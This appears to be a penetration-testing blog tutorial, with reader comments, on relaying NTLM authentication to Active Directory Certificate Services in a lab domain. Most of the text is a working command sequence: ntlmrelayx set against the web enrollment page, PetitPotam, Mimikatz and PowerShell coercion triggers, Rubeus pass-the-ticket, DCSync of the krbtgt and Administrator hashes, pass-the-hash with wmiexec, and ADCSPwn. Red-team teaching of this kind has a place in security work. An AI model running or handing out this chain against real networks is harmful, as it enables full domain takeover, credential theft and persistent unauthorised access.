by Deployment of an Active Directory Certificate Services (AD CS) on a corporate environment could allow system administrators to utilize it for establishing trust between different directory objects. However, it could allow red team operators to conduct an NTLM relay attack towards the web interface of an AD CS in order to compromise the network. The web interface is used for allowing users to obtain a certificate (web enrollment), is over HTTP protocol, doesn’t support signing and accepts NTLM authentication.
The details of the attack have been presented by Will Schroeder and Lee Christensen in the Certified Pre-Owned whitepaper. The attack forces the domain controller machine account (DC$) to authenticate towards a host which NTLM relay is configured. The authentication is relayed towards the Certificate Authority (CA) and raises a request for a certificate. Once the certificate is generated for the DC$ account an attacker could use this perform arbitrary operations on the domain controller such as retrieving the hash of the Kerberos account in order to create a golden ticket and establish domain persistence or dump hashes of domain administrators and establish a communication channel with the domain controller.
Active Directory Certificate Services can be installed as a role on the domain controller or in an individual server which is part of the domain. The following diagram illustrates the steps of the attack:
The attack requires identification of the certification authority. The “certutil” binary is a command line tool which can be used to dump and display certification authority information, verify certificates etc. Therefore it could be used as a quick way to discover if there is a certificate authority deployed on the domain.
certutil.exe
The server name has been identified as “ca.purple.lab” and the web enrollment service is accessible over HTTP on the following URL:
http://ca.purple.lab/certsrv/
From a non domain-joined system executing the “ntlmrelayx.py” from Impacket suite will configure various listeners (SMB, HTTP, WCF) that will capture the authentication from the domain controller machine account and relay that authentication information towards the active directory certification authority server.
python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
The force authentication could be triggered by the proof of concept that Lionel Gilles developed called PetitPotam. This is achieved by exploiting the MS-EFSRPC protocol to make an API call (EfsRpcOpenFileRaw) that will trigger the machine account on the target to authenticate to another system. It could be executed by supplying standard user credentials and using the IP of the system which NTLM Relay is configured and the IP address of the CA.
python3 PetitPotam.py -d purple.lab -u pentestlab -p Password1234 <Listener-IP> <DC-IP>
This attack could be also executed even if credentials are not supplied. Access to the network even without credentials could lead to domain compromise if a certificate authority is deployed without preventive measures on the domain controller instead of a different server.
python3 PetitPotam.py 10.0.0.2 10.0.0.1
If the following output is displayed this will constitute that the attack was successful and authentication has been triggered.
Alternatively, if initial access has been established to a domain joined system the binary can be used instead.
PetitPotam.exe 10.0.0.2 10.0.0.1
As with the majority of the attacks, Benjamin Delpy has also implemented authentication trigger in newer versions of Mimikatz. Using the encrypting file system (EFS) module, and specifying the domain controller and the host acting as NTLM Relay will send the remote procedure call.
misc::efs /server:dc.purple.lab /connect:10.0.0.2
There is also a PowerShell implementation of PetitPotam attack which was developed by S3cur3Th1sSh1t following the Mimikatz module.
Import-Module .\Invoke-Petitpotam.ps1
Invoke-Petitpotam -Target 10.0.0.1 -CaptureHost 10.0.0.2
All the above triggers will coerce the DC$ account (machine account on the domain controller) to authenticate towards the certificate authority.
Since the attack requires either the web service component to be installed or the web enrollment a request will be raised for a certificate under the DC$ account. The certificate will be generated for the account in Base64 format.
The obtained certificate can be used with Rubeus in order to request a Kerberos ticket (Ticket Granting Ticket) for the machine account which is a high privileged account on the domain controller.
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
The ticket will imported into the current session of the user. Since this ticket belongs to the DC$ account can be used to conduct a range of activities in order to compromise the domain such as retrieve the NTLM hash of the “krbtgt” account and create a golden ticket, establish a connection with the domain controller via WMI, perform pass the hash etc.
Running the following command will verify that the ticket is cached into the current logon session.
klist
Since the ticket is cached the DCSync technique can be used to retrieve the hash of the “krbtgt” account in order to create the golden ticket and establish domain persistence.
mimikatz # lsadump::dcsync /user:krbtgt
Similarly the password hash for the user “Administrator” could be retrieved. This user is a member of the “Domain Administrators” group.
lsadump::dcsync /domain:purple.lab /user:Administrator
The hash value could be used with “wmiexec” from Impacket in order to establish a session to the domain controller as domain administrator.
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
Alternatively, Mimikatz or any other similar tooling could be used to perform the pass the hash technique. Executing the following command in Mimikatz will create another session as the user “Administrator“.
sekurlsa::pth /user:Administrator /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
From the new session the drive C$ can be mapped in order to access the domain controller file system.
net use z: \\dc\c$
dir z:
ADCSPwn
An alternative tool which implements the attack (ADCSPwn) was developed in C# by batsec and can be used within Cobalt Strike via “execute-assembly” or with any other similar red teaming framework like Covenant. The obvious benefit is that the attack could be executed directly from memory without the need to drop anything to disk or to use another system as a relay in order to pass the authentication to the CA. ADCSPwn set up a relay server locally and coerce the authentication by making an API call (EfsRpcOpenFileRaw).
adcspwn.exe --adcs ca.purple.lab --remote dc.purple.lab
The certificate will be generated into the console in Base64 format.
However, it should be noted that the attack only works if the “WebClient” service is running on the domain controller. By default this service is not installed and therefore it is unlikely that direct execution of the tool will lead to the expected results.
The “WebClient” service is created when the “WebDav Redirector” feature is installed on the server.
Penetration Testing Lab 
How could you tell that certsrv is the url of the web enrollment service?
When you install the server role of the Certificate Authority the web enrollment URL has this form by default: http://servername/certsrv You can read more here: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831649(v=ws.11)
Only works if the CA administrator installed either the web enrollment engine or the web service.
This is fantastic. Just one question. I tried it by having the CA on my DC so not on a seperate machine. Then I took another machine (WS01) I had an added it to the Domain Controllers group. When I run the technique against WS01 I get the certificate but when I just try to run it against the original DC it fails. Is that because it is trying to relay to itself maybe given the CA and DC are on the 1 box ?